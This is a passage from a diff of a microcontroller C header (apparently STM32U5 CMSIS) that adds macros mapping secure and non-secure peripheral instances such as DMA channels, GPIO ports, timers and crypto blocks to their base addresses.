((DMA_Channel_TypeDef *) GPDMA1_Channel7_BASE_S) +#define GPDMA1_Channel8_S ((DMA_Channel_TypeDef *) GPDMA1_Channel8_BASE_S) +#define GPDMA1_Channel9_S ((DMA_Channel_TypeDef *) GPDMA1_Channel9_BASE_S) +#define GPDMA1_Channel10_S ((DMA_Channel_TypeDef *) GPDMA1_Channel10_BASE_S) +#define GPDMA1_Channel11_S ((DMA_Channel_TypeDef *) GPDMA1_Channel11_BASE_S) +#define GPDMA1_Channel12_S ((DMA_Channel_TypeDef *) GPDMA1_Channel12_BASE_S) +#define GPDMA1_Channel13_S ((DMA_Channel_TypeDef *) GPDMA1_Channel13_BASE_S) +#define GPDMA1_Channel14_S ((DMA_Channel_TypeDef *) GPDMA1_Channel14_BASE_S) +#define GPDMA1_Channel15_S ((DMA_Channel_TypeDef *) GPDMA1_Channel15_BASE_S) +#define CORDIC_S ((CORDIC_TypeDef *) CORDIC_BASE_S) +#define FMAC_S ((FMAC_TypeDef *) FMAC_BASE_S) +#define FLASH_S ((FLASH_TypeDef *) FLASH_R_BASE_S) +#define CRC_S ((CRC_TypeDef *) CRC_BASE_S) +#define TSC_S ((TSC_TypeDef *) TSC_BASE_S) +#define MDF1_S ((MDF_TypeDef *) MDF1_BASE_S) +#define MDF1_Filter0_S ((MDF_Filter_TypeDef*) MDF1_Filter0_BASE_S) +#define MDF1_Filter1_S ((MDF_Filter_TypeDef*) MDF1_Filter1_BASE_S) +#define MDF1_Filter2_S ((MDF_Filter_TypeDef*) MDF1_Filter2_BASE_S) +#define MDF1_Filter3_S ((MDF_Filter_TypeDef*) MDF1_Filter3_BASE_S) +#define MDF1_Filter4_S ((MDF_Filter_TypeDef*) MDF1_Filter4_BASE_S) +#define MDF1_Filter5_S ((MDF_Filter_TypeDef*) MDF1_Filter5_BASE_S) +#define RAMCFG_SRAM1_S ((RAMCFG_TypeDef *) RAMCFG_SRAM1_BASE_S) +#define RAMCFG_SRAM2_S ((RAMCFG_TypeDef *) RAMCFG_SRAM2_BASE_S) +#define RAMCFG_SRAM3_S ((RAMCFG_TypeDef *) RAMCFG_SRAM3_BASE_S) +#define RAMCFG_SRAM4_S ((RAMCFG_TypeDef *) RAMCFG_SRAM4_BASE_S) +#define RAMCFG_BKPRAM_S ((RAMCFG_TypeDef *) RAMCFG_BKPRAM_BASE_S) +#define DMA2D_S ((DMA2D_TypeDef *) DMA2D_BASE_S) +#define ICACHE_S ((ICACHE_TypeDef *) ICACHE_BASE_S) +#define DCACHE1_S ((DCACHE_TypeDef *) DCACHE1_BASE_S) +#define GTZC_TZSC1_S ((GTZC_TZSC_TypeDef *) GTZC_TZSC1_BASE_S) +#define GTZC_TZIC1_S ((GTZC_TZIC_TypeDef *) GTZC_TZIC1_BASE_S) +#define GTZC_MPCBB1_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB1_BASE_S) +#define GTZC_MPCBB2_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB2_BASE_S) +#define GTZC_MPCBB3_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB3_BASE_S) + +/*!< AHB2 Secure peripherals */ +#define GPIOA_S ((GPIO_TypeDef *) GPIOA_BASE_S) +#define GPIOB_S ((GPIO_TypeDef *) GPIOB_BASE_S) +#define GPIOC_S ((GPIO_TypeDef *) GPIOC_BASE_S) +#define GPIOD_S ((GPIO_TypeDef *) GPIOD_BASE_S) +#define GPIOE_S ((GPIO_TypeDef *) GPIOE_BASE_S) +#define GPIOF_S ((GPIO_TypeDef *) GPIOF_BASE_S) +#define GPIOG_S ((GPIO_TypeDef *) GPIOG_BASE_S) +#define GPIOH_S ((GPIO_TypeDef *) GPIOH_BASE_S) +#define GPIOI_S ((GPIO_TypeDef *) GPIOI_BASE_S) +#define ADC1_S ((ADC_TypeDef *) ADC1_BASE_S) +#define ADC12_COMMON_S ((ADC_Common_TypeDef *) ADC12_COMMON_BASE_S) +#define DCMI_S ((DCMI_TypeDef *) DCMI_BASE_S) +#define PSSI_S ((PSSI_TypeDef *) PSSI_BASE_S) +#define USB_OTG_FS_S ((USB_OTG_GlobalTypeDef *) USB_OTG_FS_BASE_S) +#define AES_S ((AES_TypeDef *) AES_BASE_S) +#define HASH_S ((HASH_TypeDef *) HASH_BASE_S) +#define HASH_DIGEST_S ((HASH_DIGEST_TypeDef *) HASH_DIGEST_BASE_S) +#define RNG_S ((RNG_TypeDef *) RNG_BASE_S) +#define SAES_S ((AES_TypeDef *) SAES_BASE_S) +#define PKA_S ((PKA_TypeDef *) PKA_BASE_S) +#define OTFDEC1_S ((OTFDEC_TypeDef *) OTFDEC1_BASE_S) +#define OTFDEC1_REGION1_S ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION1_BASE_S) +#define OTFDEC1_REGION2_S ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION2_BASE_S) +#define OTFDEC1_REGION3_S ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION3_BASE_S) +#define OTFDEC1_REGION4_S ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION4_BASE_S) +#define OTFDEC2_S ((OTFDEC_TypeDef *) OTFDEC2_BASE_S) +#define OTFDEC2_REGION1_S ((OTFDEC_Region_TypeDef *) OTFDEC2_REGION1_BASE_S) +#define OTFDEC2_REGION2_S ((OTFDEC_Region_TypeDef *) OTFDEC2_REGION2_BASE_S) +#define OTFDEC2_REGION3_S ((OTFDEC_Region_TypeDef *) OTFDEC2_REGION3_BASE_S) +#define OTFDEC2_REGION4_S ((OTFDEC_Region_TypeDef *) OTFDEC2_REGION4_BASE_S) +#define SDMMC1_S ((SDMMC_TypeDef *) SDMMC1_BASE_S) +#define SDMMC2_S ((SDMMC_TypeDef *) SDMMC2_BASE_S) +#define DLYB_SDMMC1_S ((DLYB_TypeDef *) DLYB_SDMMC1_BASE_S) +#define DLYB_SDMMC2_S ((DLYB_TypeDef *) DLYB_SDMMC2_BASE_S) +#define DLYB_OCTOSPI1_S ((DLYB_TypeDef *) DLYB_OCTOSPI1_BASE_S) +#define DLYB_OCTOSPI2_S ((DLYB_TypeDef *) DLYB_OCTOSPI2_BASE_S) +#define FMC_Bank1_R_S ((FMC_Bank1_TypeDef *) FMC_Bank1_R_BASE_S) +#define FMC_Bank1E_R_S ((FMC_Bank1E_TypeDef *) FMC_Bank1E_R_BASE_S) +#define FMC_Bank3_R_S ((FMC_Bank3_TypeDef *) FMC_Bank3_R_BASE_S) +#define OCTOSPIM_S ((OCTOSPIM_TypeDef *) OCTOSPIM_R_BASE_S) +#define OCTOSPI1_S ((OCTOSPI_TypeDef *) OCTOSPI1_R_BASE_S) +#define OCTOSPI2_S ((OCTOSPI_TypeDef *) OCTOSPI2_R_BASE_S) + +/*!< AHB3 Secure peripherals */ +#define LPGPIO1_S ((GPIO_TypeDef *) LPGPIO1_BASE_S) +#define PWR_S ((PWR_TypeDef *) PWR_BASE_S) +#define RCC_S ((RCC_TypeDef *) RCC_BASE_S) +#define ADC4_S ((ADC_TypeDef *) ADC4_BASE_S) +#define ADC4_COMMON_S ((ADC_Common_TypeDef *) ADC4_COMMON_BASE_S) +#define DAC1_S ((DAC_TypeDef *) DAC1_BASE_S) +#define EXTI_S ((EXTI_TypeDef *) EXTI_BASE_S) +#define GTZC_TZSC2_S ((GTZC_TZSC_TypeDef *) GTZC_TZSC2_BASE_S) +#define GTZC_TZIC2_S ((GTZC_TZIC_TypeDef *) GTZC_TZIC2_BASE_S) +#define GTZC_MPCBB4_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB4_BASE_S) +#define ADF1_S ((MDF_TypeDef *) ADF1_BASE_S) +#define ADF1_Filter0_S ((MDF_Filter_TypeDef*) ADF1_Filter0_BASE_S) +#define LPDMA1_S ((DMA_TypeDef *) LPDMA1_BASE_S) +#define LPDMA1_Channel0_S ((DMA_Channel_TypeDef *) LPDMA1_Channel0_BASE_S) +#define LPDMA1_Channel1_S ((DMA_Channel_TypeDef *) LPDMA1_Channel1_BASE_S) +#define LPDMA1_Channel2_S ((DMA_Channel_TypeDef *) LPDMA1_Channel2_BASE_S) +#define LPDMA1_Channel3_S ((DMA_Channel_TypeDef *) LPDMA1_Channel3_BASE_S) + +/*!< DBGMCU peripheral */ +#define DBGMCU ((DBGMCU_TypeDef *) DBGMCU_BASE) + +/*!< Memory & Instance aliases and base addresses for Non-Secure/Secure peripherals */ + +#if defined (__ARM_FEATURE_CMSE) && (__ARM_FEATURE_CMSE == 3U) + +/*!< Memory base addresses for Secure peripherals */ +#define FLASH_BASE FLASH_BASE_S +#define SRAM1_BASE SRAM1_BASE_S +#define SRAM2_BASE SRAM2_BASE_S +#define SRAM3_BASE SRAM3_BASE_S +#define SRAM4_BASE SRAM4_BASE_S +#define BKPSRAM_BASE BKPSRAM_BASE_S +#define PERIPH_BASE PERIPH_BASE_S +#define APB1PERIPH_BASE APB1PERIPH_BASE_S +#define APB2PERIPH_BASE APB2PERIPH_BASE_S +#define AHB1PERIPH_BASE AHB1PERIPH_BASE_S +#define AHB2PERIPH_BASE AHB2PERIPH_BASE_S + +/*!< Instance aliases and base addresses for Secure peripherals */ +#define CORDIC CORDIC_S +#define CORDIC_BASE CORDIC_BASE_S + +#define RCC RCC_S +#define RCC_BASE RCC_BASE_S + +#define DCMI DCMI_S +#define DCMI_BASE DCMI_BASE_S + +#define PSSI PSSI_S +#define PSSI_BASE PSSI_BASE_S + +#define FLASH FLASH_S +#define FLASH_R_BASE FLASH_R_BASE_S + +#define FMAC FMAC_S +#define FMAC_BASE FMAC_BASE_S + +#define GPDMA1 GPDMA1_S +#define GPDMA1_BASE GPDMA1_BASE_S + +#define GPDMA1_Channel0 GPDMA1_Channel0_S +#define GPDMA1_Channel0_BASE GPDMA1_Channel0_BASE_S + +#define GPDMA1_Channel1 GPDMA1_Channel1_S +#define GPDMA1_Channel1_BASE GPDMA1_Channel1_BASE_S + +#define GPDMA1_Channel2 GPDMA1_Channel2_S +#define GPDMA1_Channel2_BASE GPDMA1_Channel2_BASE_S + +#define GPDMA1_Channel3 GPDMA1_Channel3_S +#define GPDMA1_Channel3_BASE GPDMA1_Channel3_BASE_S + +#define GPDMA1_Channel4 GPDMA1_Channel4_S +#define GPDMA1_Channel4_BASE GPDMA1_Channel4_BASE_S + +#define GPDMA1_Channel5 GPDMA1_Channel5_S +#define GPDMA1_Channel5_BASE GPDMA1_Channel5_BASE_S + +#define GPDMA1_Channel6 GPDMA1_Channel6_S +#define GPDMA1_Channel6_BASE GPDMA1_Channel6_BASE_S + +#define GPDMA1_Channel7 GPDMA1_Channel7_S +#define GPDMA1_Channel7_BASE GPDMA1_Channel7_BASE_S + +#define GPDMA1_Channel8 GPDMA1_Channel8_S +#define GPDMA1_Channel8_BASE GPDMA1_Channel8_BASE_S + +#define GPDMA1_Channel9 GPDMA1_Channel9_S +#define GPDMA1_Channel9_BASE GPDMA1_Channel9_BASE_S + +#define GPDMA1_Channel10 GPDMA1_Channel10_S +#define GPDMA1_Channel10_BASE GPDMA1_Channel10_BASE_S + +#define GPDMA1_Channel11 GPDMA1_Channel11_S +#define GPDMA1_Channel11_BASE GPDMA1_Channel11_BASE_S + +#define GPDMA1_Channel12 GPDMA1_Channel12_S +#define GPDMA1_Channel12_BASE GPDMA1_Channel12_BASE_S + +#define GPDMA1_Channel13 GPDMA1_Channel13_S +#define GPDMA1_Channel13_BASE GPDMA1_Channel13_BASE_S + +#define GPDMA1_Channel14 GPDMA1_Channel14_S +#define GPDMA1_Channel14_BASE GPDMA1_Channel14_BASE_S + +#define GPDMA1_Channel15 GPDMA1_Channel15_S +#define GPDMA1_Channel15_BASE GPDMA1_Channel15_BASE_S + +#define LPDMA1 LPDMA1_S +#define LPDMA1_BASE LPDMA1_BASE_S + +#define LPDMA1_Channel0 LPDMA1_Channel0_S +#define LPDMA1_Channel0_BASE LPDMA1_Channel0_BASE_S + +#define LPDMA1_Channel1 LPDMA1_Channel1_S +#define LPDMA1_Channel1_BASE LPDMA1_Channel1_BASE_S + +#define LPDMA1_Channel2 LPDMA1_Channel2_S +#define LPDMA1_Channel2_BASE LPDMA1_Channel2_BASE_S + +#define LPDMA1_Channel3 LPDMA1_Channel3_S +#define LPDMA1_Channel3_BASE LPDMA1_Channel3_BASE_S + +#define GPIOA GPIOA_S +#define GPIOA_BASE GPIOA_BASE_S + +#define GPIOB GPIOB_S +#define GPIOB_BASE GPIOB_BASE_S + +#define GPIOC GPIOC_S +#define GPIOC_BASE GPIOC_BASE_S + +#define GPIOD GPIOD_S +#define GPIOD_BASE GPIOD_BASE_S + +#define GPIOE GPIOE_S +#define GPIOE_BASE GPIOE_BASE_S + +#define GPIOF GPIOF_S +#define GPIOF_BASE GPIOF_BASE_S + +#define GPIOG GPIOG_S +#define GPIOG_BASE GPIOG_BASE_S + +#define GPIOH GPIOH_S +#define GPIOH_BASE GPIOH_BASE_S + +#define GPIOI GPIOI_S +#define GPIOI_BASE GPIOI_BASE_S + +#define LPGPIO1 LPGPIO1_S +#define LPGPIO1_BASE LPGPIO1_BASE_S + +#define PWR PWR_S +#define PWR_BASE PWR_BASE_S + +#define RAMCFG_SRAM1 RAMCFG_SRAM1_S +#define RAMCFG_SRAM1_BASE RAMCFG_SRAM1_BASE_S + +#define RAMCFG_SRAM2 RAMCFG_SRAM2_S +#define RAMCFG_SRAM2_BASE RAMCFG_SRAM2_BASE_S + +#define RAMCFG_SRAM3 RAMCFG_SRAM3_S +#define RAMCFG_SRAM3_BASE RAMCFG_SRAM3_BASE_S + +#define RAMCFG_SRAM4 RAMCFG_SRAM4_S +#define RAMCFG_SRAM4_BASE RAMCFG_SRAM4_BASE_S + +#define RAMCFG_BKPRAM RAMCFG_BKPRAM_S +#define RAMCFG_BKPRAM_BASE RAMCFG_BKPRAM_BASE_S + +#define EXTI EXTI_S +#define EXTI_BASE EXTI_BASE_S + +#define ICACHE ICACHE_S +#define ICACHE_BASE ICACHE_BASE_S + +#define DCACHE1 DCACHE1_S +#define DCACHE1_BASE DCACHE1_BASE_S + +#define GTZC_TZSC1 GTZC_TZSC1_S +#define GTZC_TZSC1_BASE GTZC_TZSC1_BASE_S + +#define GTZC_TZSC2 GTZC_TZSC2_S +#define GTZC_TZSC2_BASE GTZC_TZSC2_BASE_S + +#define GTZC_TZIC1 GTZC_TZIC1_S +#define GTZC_TZIC1_BASE GTZC_TZIC1_BASE_S + +#define GTZC_TZIC2 GTZC_TZIC2_S +#define GTZC_TZIC2_BASE GTZC_TZIC2_BASE_S + +#define GTZC_MPCBB1 GTZC_MPCBB1_S +#define GTZC_MPCBB1_BASE GTZC_MPCBB1_BASE_S + +#define GTZC_MPCBB2 GTZC_MPCBB2_S +#define GTZC_MPCBB2_BASE GTZC_MPCBB2_BASE_S + +#define GTZC_MPCBB3 GTZC_MPCBB3_S +#define GTZC_MPCBB3_BASE GTZC_MPCBB3_BASE_S + +#define GTZC_MPCBB4 GTZC_MPCBB4_S +#define GTZC_MPCBB4_BASE GTZC_MPCBB4_BASE_S + +#define RTC RTC_S +#define RTC_BASE RTC_BASE_S + +#define TAMP TAMP_S +#define TAMP_BASE TAMP_BASE_S + +#define TIM1 TIM1_S +#define TIM1_BASE TIM1_BASE_S + +#define TIM2 TIM2_S +#define TIM2_BASE TIM2_BASE_S + +#define TIM3 TIM3_S +#define TIM3_BASE TIM3_BASE_S + +#define TIM4 TIM4_S +#define TIM4_BASE TIM4_BASE_S + +#define TIM5 TIM5_S +#define TIM5_BASE TIM5_BASE_S + +#define TIM6 TIM6_S +#define TIM6_BASE TIM6_BASE_S + +#define TIM7 TIM7_S +#define TIM7_BASE TIM7_BASE_S + +#define TIM8 TIM8_S +#define TIM8_BASE TIM8_BASE_S + +#define TIM15 TIM15_S +#define TIM15_BASE TIM15_BASE_S + +#define TIM16 TIM16_S +#define TIM16_BASE TIM16_BASE_S + +#define TIM17 TIM17_S +#define TIM17_BASE TIM17_BASE_S + +#define WWDG WWDG_S +#define WWDG_BASE WWDG_BASE_S + +#define IWDG IWDG_S +#define IWDG_BASE IWDG_BASE_S + +#define SPI1 SPI1_S +#define SPI1_BASE SPI1_BASE_S + +#define SPI2 SPI2_S +#define SPI2_BASE SPI2_BASE_S + +#define SPI3 SPI3_S +#define SPI3_BASE SPI3_BASE_S + +#define USART1 USART1_S +#define USART1_BASE USART1_BASE_S + +#define USART2 USART2_S +#define USART2_BASE USART2_BASE_S + +#define USART3 USART3_S +#define USART3_BASE USART3_BASE_S + +#define UART4 UART4_S +#define UART4_BASE UART4_BASE_S + +#define UART5 UART5_S +#define UART5_BASE UART5_BASE_S + +#define I2C1 I2C1_S +#define I2C1_BASE I2C1_BASE_S + +#define I2C2 I2C2_S +#define I2C2_BASE I2C2_BASE_S + +#define I2C3 I2C3_S +#define I2C3_BASE I2C3_BASE_S + +#define I2C4 I2C4_S +#define I2C4_BASE I2C4_BASE_S + +#define CRS CRS_S +#define CRS_BASE CRS_BASE_S + +#define FDCAN1 FDCAN1_S +#define FDCAN1_BASE FDCAN1_BASE_S + +#define FDCAN_CONFIG FDCAN_CONFIG_S +#define FDCAN_CONFIG_BASE FDCAN_CONFIG_BASE_S +#define SRAMCAN_BASE SRAMCAN_BASE_S + +#define DAC DAC_S +#define DAC_BASE DAC_BASE_S + +#define DAC1 DAC1_S +#define DAC1_BASE DAC1_BASE_S + +#define OPAMP OPAMP_S +#define OPAMP_BASE OPAMP_BASE_S + +#define OPAMP1 OPAMP1_S +#define OPAMP1_BASE OPAMP1_BASE_S + +#define OPAMP2 OPAMP2_S +#define OPAMP2_BASE OPAMP2_BASE_S + +#define OPAMP12_COMMON OPAMP12_COMMON_S +#define OPAMP12_COMMON_BASE OPAMP12_COMMON_BASE_S + +#define LPTIM1 LPTIM1_S +#define LPTIM1_BASE LPTIM1_BASE_S + +#define LPTIM2 LPTIM2_S +#define LPTIM2_BASE LPTIM2_BASE_S + +#define LPTIM3 LPTIM3_S +#define LPTIM3_BASE LPTIM3_BASE_S + +#define LPTIM4 LPTIM4_S +#define LPTIM4_BASE LPTIM4_BASE_S + +#define LPUART1 LPUART1_S +#define LPUART1_BASE LPUART1_BASE_S + +#define UCPD1 UCPD1_S +#define UCPD1_BASE UCPD1_BASE_S + +#define SYSCFG SYSCFG_S +#define SYSCFG_BASE SYSCFG_BASE_S + +#define VREFBUF VREFBUF_S +#define VREFBUF_BASE VREFBUF_BASE_S + +#define COMP12 COMP12_S +#define COMP12_BASE COMP12_BASE_S + +#define COMP1 COMP1_S +#define COMP1_BASE COMP1_BASE_S + +#define COMP2 COMP2_S +#define COMP2_BASE COMP2_BASE_S + +#define COMP12_COMMON COMP12_COMMON_S +#define COMP12_COMMON_BASE COMP1_BASE_S + +#define SAI1 SAI1_S +#define SAI1_BASE SAI1_BASE_S + +#define SAI1_Block_A SAI1_Block_A_S +#define SAI1_Block_A_BASE SAI1_Block_A_BASE_S + +#define SAI1_Block_B SAI1_Block_B_S +#define SAI1_Block_B_BASE SAI1_Block_B_BASE_S + +#define SAI2 SAI2_S +#define SAI2_BASE SAI2_BASE_S + +#define SAI2_Block_A SAI2_Block_A_S +#define SAI2_Block_A_BASE SAI2_Block_A_BASE_S + +#define SAI2_Block_B SAI2_Block_B_S +#define SAI2_Block_B_BASE SAI2_Block_B_BASE_S + +#define CRC CRC_S +#define CRC_BASE CRC_BASE_S + +#define TSC TSC_S +#define TSC_BASE TSC_BASE_S + +#define ADC1 ADC1_S +#define ADC1_BASE ADC1_BASE_S + +#define ADC12_COMMON ADC12_COMMON_S +#define ADC12_COMMON_BASE ADC12_COMMON_BASE_S + + +#define ADC4 ADC4_S +#define ADC4_BASE ADC4_BASE_S + +#define ADC4_COMMON ADC4_COMMON_S +#define ADC4_COMMON_BASE ADC4_COMMON_BASE_S + +#define HASH HASH_S +#define HASH_BASE HASH_BASE_S + +#define HASH_DIGEST HASH_DIGEST_S +#define HASH_DIGEST_BASE HASH_DIGEST_BASE_S + +#define AES AES_S +#define AES_BASE AES_BASE_S + +#define RNG RNG_S +#define RNG_BASE RNG_BASE_S + +#define SAES SAES_S +#define SAES_BASE SAES_BASE_S + +#define PKA PKA_S +#define PKA_BASE PKA_BASE_S +#define PKA_RAM_BASE PKA_RAM_BASE_S + +#define OTFDEC1 OTFDEC1_S +#define OTFDEC1_BASE OTFDEC1_BASE_S + +#define OTFDEC1_REGION1 OTFDEC1_REGION1_S +#define OTFDEC1_REGION1_BASE OTFDEC1_REGION1_BASE_S + +#define OTFDEC1_REGION2 OTFDEC1_REGION2_S +#define OTFDEC1_REGION2_BASE OTFDEC1_REGION2_BASE_S + +#define OTFDEC1_REGION3 OTFDEC1_REGION3_S +#define OTFDEC1_REGION3_BASE OTFDEC1_REGION3_BASE_S + +#define OTFDEC1_REGION4 OTFDEC1_REGION4_S +#define OTFDEC1_REGION4_BASE OTFDEC1_REGION4_BASE_S + +#define OTFDEC2 OTFDEC2_S +#define OTFDEC2_BASE OTFDEC2_BASE_S + +#define OTFDEC2_REGION1 OTFDEC2_REGION1_S +#define OTFDEC2_REGION1_BASE OTFDEC2_REGION1_BASE_S + +#define OTFDEC2_REGION2 OTFDEC2_REGION2_S +#define OTFDEC2_REGION2_BASE OTFDEC2_REGION2_BASE_S + +#define OTFDEC2_REGION3 OTFDEC2_REGION3_S +#define OTFDEC2_REGION3_BASE OTFDEC2_REGION3_BASE_S + +#define OTFDEC2_REGION4 OTFDEC2_REGION4_S +#define OTFDEC2_REGION4_BASE OTFDEC2_REGION4_BASE_S + +#define SDMMC1 SDMMC1_S +#define SDMMC1_BASE SDMMC1_BASE_S + +#define SDMMC2 SDMMC2_S +#define SDMMC2_BASE SDMMC2_BASE_S + +#define FMC_Bank1_R FMC_Bank1_R_S +#define FMC_Bank1_R_BASE FMC_Bank1_R_BASE_S + +#define FMC_Bank1E_R FMC_Bank1E_R_S +#define FMC_Bank1E_R_BASE FMC_Bank1E_R_BASE_S + +#define FMC_Bank3_R FMC_Bank3_R_S +#define FMC_Bank3_R_BASE FMC_Bank3_R_BASE_S + +#define OCTOSPI1 OCTOSPI1_S +#define OCTOSPI1_R_BASE OCTOSPI1_R_BASE_S + +#define OCTOSPI2 OCTOSPI2_S +#define OCTOSPI2_R_BASE OCTOSPI2_R_BASE_S + +#define OCTOSPIM OCTOSPIM_S +#define OCTOSPIM_R_BASE OCTOSPIM_R_BASE_S + +#define DLYB_SDMMC1 DLYB_SDMMC1_S +#define DLYB_SDMMC1_BASE DLYB_SDMMC1_BASE_S + +#define DLYB_SDMMC2 DLYB_SDMMC2_S +#define DLYB_SDMMC2_BASE DLYB_SDMMC2_BASE_S + +#define DLYB_OCTOSPI1 DLYB_OCTOSPI1_S +#define DLYB_OCTOSPI1_BASE DLYB_OCTOSPI1_BASE_S + +#define DLYB_OCTOSPI2 DLYB_OCTOSPI2_S +#define DLYB_OCTOSPI2_BASE DLYB_OCTOSPI2_BASE_S + +#define DMA2D DMA2D_S +#define DMA2D_BASE DMA2D_BASE_S + +#define USB_OTG_FS USB_OTG_FS_S +#define USB_OTG_FS_BASE USB_OTG_FS_BASE_S + +#define MDF1 MDF1_S +#define MDF1_BASE MDF1_BASE_S + +#define MDF1_Filter0 MDF1_Filter0_S +#define MDF1_Filter0_BASE MDF1_Filter0_BASE_S + +#define MDF1_Filter1 MDF1_Filter1_S +#define MDF1_Filter1_BASE MDF1_Filter1_BASE_S + +#define MDF1_Filter2 MDF1_Filter2_S +#define MDF1_Filter2_BASE MDF1_Filter2_BASE_S + +#define MDF1_Filter3 MDF1_Filter3_S +#define MDF1_Filter3_BASE MDF1_Filter3_BASE_S + +#define MDF1_Filter4 MDF1_Filter4_S +#define MDF1_Filter4_BASE MDF1_Filter4_BASE_S + +#define MDF1_Filter5 MDF1_Filter5_S +#define MDF1_Filter5_BASE MDF1_Filter5_BASE_S + +#define ADF1 ADF1_S +#define ADF1_BASE ADF1_BASE_S + +#define ADF1_Filter0 ADF1_Filter0_S +#define ADF1_Filter0_BASE ADF1_Filter0_BASE_S + +#else +/*!< Memory base addresses for Non secure peripherals */ +#define FLASH_BASE FLASH_BASE_NS +#define SRAM1_BASE SRAM1_BASE_NS +#define SRAM2_BASE SRAM2_BASE_NS +#define SRAM3_BASE SRAM3_BASE_NS +#define SRAM4_BASE SRAM4_BASE_NS +#define BKPSRAM_BASE BKPSRAM_BASE_NS +#define PERIPH_BASE PERIPH_BASE_NS +#define APB1PERIPH_BASE APB1PERIPH_BASE_NS +#define APB2PERIPH_BASE APB2PERIPH_BASE_NS +#define AHB1PERIPH_BASE AHB1PERIPH_BASE_NS +#define AHB2PERIPH_BASE AHB2PERIPH_BASE_NS + +/*!< Instance aliases and base addresses for Non secure peripherals */ +#define CORDIC CORDIC_NS +#define CORDIC_BASE CORDIC_BASE_NS + +#define RCC RCC_NS +#define RCC_BASE RCC_BASE_NS + +#define DMA2D DMA2D_NS +#define DMA2D_BASE DMA2D_BASE_NS + +#define DCMI DCMI_NS +#define DCMI_BASE DCMI_BASE_NS + +#define PSSI PSSI_NS +#define PSSI_BASE PSSI_BASE_NS + +#define FLASH FLASH_NS +#define FLASH_R_BASE FLASH_R_BASE_NS + +#define FMAC FMAC_NS +#define FMAC_BASE FMAC_BASE_NS + +#define GPDMA1 GPDMA1_NS +#define GPDMA1_BASE GPDMA1_BASE_NS + +#define GPDMA1_Channel0 GPDMA1_Channel0_NS +#define GPDMA1_Channel0_BASE GPDMA1_Channel0_BASE_NS + +#define GPDMA1_Channel1 GPDMA1_Channel1_NS +#define GPDMA1_Channel1_BASE GPDMA1_Channel1_BASE_NS + +#define GPDMA1_Channel2 GPDMA1_Channel2_NS +#define GPDMA1_Channel2_BASE GPDMA1_Channel2_BASE_NS + +#define GPDMA1_Channel3 GPDMA1_Channel3_NS +#define GPDMA1_Channel3_BASE GPDMA1_Channel3_BASE_NS + +#define GPDMA1_Channel4 GPDMA1_Channel4_NS +#define GPDMA1_Channel4_BASE GPDMA1_Channel4_BASE_NS + +#define GPDMA1_Channel5 GPDMA1_Channel5_NS +#define GPDMA1_Channel5_BASE GPDMA1_Channel5_BASE_NS + +#define GPDMA1_Channel6 GPDMA1_Channel6_NS +#define GPDMA1_Channel6_BASE GPDMA1_Channel6_BASE_NS + +#define GPDMA1_Channel7 GPDMA1_Channel7_NS +#define GPDMA1_Channel7_BASE GPDMA1_Channel7_BASE_NS + +#define GPDMA1_Channel8 GPDMA1_Channel8_NS +#define GPDMA1_Channel8_BASE GPDMA1_Channel8_BASE_NS + +#define GPDMA1_Channel9 GPDMA1_Channel9_NS +#define GPDMA1_Channel9_BASE GPDMA1_Channel9_BASE_NS + +#define GPDMA1_Channel10 GPDMA1_Channel10_NS +#define GPDMA1_Channel10_BASE GPDMA1_Channel10_BASE_NS + +#define GPDMA1_Channel11 GPDMA1_Channel11_NS +#define GPDMA1_Channel11_BASE GPDMA1_Channel11_BASE_NS + +#define GPDMA1_Channel12 GPDMA1_Channel12_NS +#define GPDMA1_Channel12_BASE GPDMA1_Channel12_BASE_NS + +#define GPDMA1_Channel13 GPDMA1_Channel13_NS +#define GPDMA1_Channel13_BASE GPDMA1_Channel13_BASE_NS + +#define GPDMA1_Channel14 GPDMA1_Channel14_NS +#define GPDMA1_Channel14_BASE GPDMA1_Channel14_BASE_NS + +#define GPDMA1_Channel15 GPDMA1_Channel15_NS +#define GPDMA1_Channel15_BASE GPDMA1_Channel15_BASE_NS + +#define LPDMA1 LPDMA1_NS +#define LPDMA1_BASE LPDMA1_BASE_NS + +#define LPDMA1_Channel0 LPDMA1_Channel0_NS +#define LPDMA1_Channel0_BASE LPDMA1_Channel0_BASE_NS + +#define LPDMA1_Channel1 LPDMA1_Channel1_NS +#define LPDMA1_Channel1_BASE LPDMA1_Channel1_BASE_NS + +#define LPDMA1_Channel2 LPDMA1_Channel2_NS +#define LPDMA1_Channel2_BASE LPDMA1_Channel2_BASE_NS + +#define LPDMA1_Channel3 LPDMA1_Channel3_NS +#define LPDMA1_Channel3_BASE LPDMA1_Channel3_BASE_NS + +#define GPIOA GPIOA_NS +#define GPIOA_BASE GPIOA_BASE_NS + +#define GPIOB GPIOB_NS +#define GPIOB_BASE GPIOB_BASE_NS + +#define GPIOC GPIOC_NS +#define GPIOC_BASE GPIOC_BASE_NS + +#define GPIOD GPIOD_NS +#define GPIOD_BASE GPIOD_BASE_NS + +#define GPIOE GPIOE_NS +#define GPIOE_BASE GPIOE_BASE_NS + +#define GPIOF GPIOF_NS +#define GPIOF_BASE GPIOF_BASE_NS + +#define GPIOG GPIOG_NS +#define GPIOG_BASE GPIOG_BASE_NS + +#define GPIOH GPIOH_NS +#define GPIOH_BASE GPIOH_BASE_NS + +#define GPIOI GPIOI_NS +#define GPIOI_BASE GPIOI_BASE_NS +#define LPGPIO1 LPGPIO1_NS +#define LPGPIO1_BASE LPGPIO1_BASE_NS + +#define PWR PWR_NS +#define PWR_BASE PWR_BASE_NS + +#define RAMCFG_SRAM1 RAMCFG_SRAM1_NS +#define RAMCFG_SRAM1_BASE RAMCFG_SRAM1_BASE_NS + +#define RAMCFG_SRAM2 RAMCFG_SRAM2_NS +#define RAMCFG_SRAM2_BASE RAMCFG_SRAM2_BASE_NS + +#define RAMCFG_SRAM3 RAMCFG_SRAM3_NS +#define RAMCFG_SRAM3_BASE RAMCFG_SRAM3_BASE_NS + +#define RAMCFG_SRAM4 RAMCFG_SRAM4_NS +#define RAMCFG_SRAM4_BASE RAMCFG_SRAM4_BASE_NS + +#define RAMCFG_BKPRAM RAMCFG_BKPRAM_NS +#define RAMCFG_BKPRAM_BASE RAMCFG_BKPRAM_BASE_NS + +#define EXTI EXTI_NS +#define EXTI_BASE EXTI_BASE_NS + 